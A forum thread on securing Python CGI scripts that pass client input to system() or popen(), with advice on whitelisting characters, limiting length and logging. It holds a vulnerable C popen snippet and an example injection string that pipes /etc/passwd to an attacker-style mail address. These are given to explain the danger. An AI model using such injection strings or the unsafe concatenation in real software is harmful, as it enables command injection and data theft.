Securing CGI Scripts

[larsenmtl]

As you can see from my other posting, Linux Gurus - iptables - WTH?, I have security on my mind.

The python CGI documentation states that if you send commands to the OS using the System() or popen() functions that you should “…makde sure you don’t pass arbitrary stings received from the client to the shell.” Link Here Specifically they state that any strings passed to the shell command should only contain characters, numbers, dashes, underscores and periods.

Is it enough to just scan and remove any characters not fitting the above criteria? Can anyone provide other warning and stuff to look out for?

[Omphaloskeptic]

@larsenmtl

As you can see from my other posting, Linux Gurus - iptables - WTH?, I have security on my mind.

The python CGI documentation states that if you send commands to the OS using the System() or popen() functions that you should “…makde sure you don’t pass arbitrary stings received from the client to the shell.” Link Here Specifically they state that any strings passed to the shell command should only contain characters, numbers, dashes, underscores and periods.

Is it enough to just scan and remove any characters not fitting the above criteria? Can anyone provide other warning and stuff to look out for?

That seems reasonable. One other thing I can think of is checking and limiting the string’s length to some reasonable value, to avoid breaking the shell’s limit on number of arguments. You also want to make sure that whatever command you’re executing doesn’t have any exploitable holes. The biggest issue is to make sure you don’t let any shell metacharacters through, since those can immediately be used to embed commands in the string. (For example, if you expected the string to contain arguments to a command “cmd”, you might think of trying

char s[BUFSZ] = "cmd ";
strncat(s, args, ARGLIMIT);
FILE *p = popen(s, "r");

But someone could then, for example, pass in "arguments ; cat /etc/passwd | mail cracker@jack.com to retrieve /etc/passwd.)

[ccwaterback]

If you are allowing System() or popen() parameters to be input by remote users, I would start with not allowing anything, then work up from there, rather than allowing everything and working backwards. I would also create a log file with every System() or popen() command that was issued, by whom, from what IP address, from what server, etc., etc. so I could track down anyone trying be cute.

[larsenmtl]

First off thanks for the replys.

@Omphaloskeptic

But someone could then, for example, pass in … [and] retrieve /etc/passwd.)

Funny stuff. I received the auto email from the straightdope saying someone had replied. The email, however, had been replaced by a message from comcast (my ISP) saying that the email contained the Unix.penguin virus and was deleted. You guessed it, your “arguments…cat /etc…/passwd |… mail cracker@jack.com” set Comcast’s virus scanner off.

[Omphaloskeptic]

@larsenmtl

First off thanks for the replys.

Funny stuff. I received the auto email from the straightdope saying someone had replied. The email, however, had been replaced by a message from comcast (my ISP) saying that the email contained the Unix.penguin virus and was deleted. You guessed it, your “arguments…cat /etc…/passwd |… mail cracker@jack.com” set Comcast’s virus scanner off.

hee hee.

Yeah, I agree with ccwaterback that logfiles are a good idea. Of course, they can be deleted if the attacker gains access, unless you can arrange for write-only or offsite logs, but if nothing else it’s kind of fun to browse them and see what the script kiddies are up to.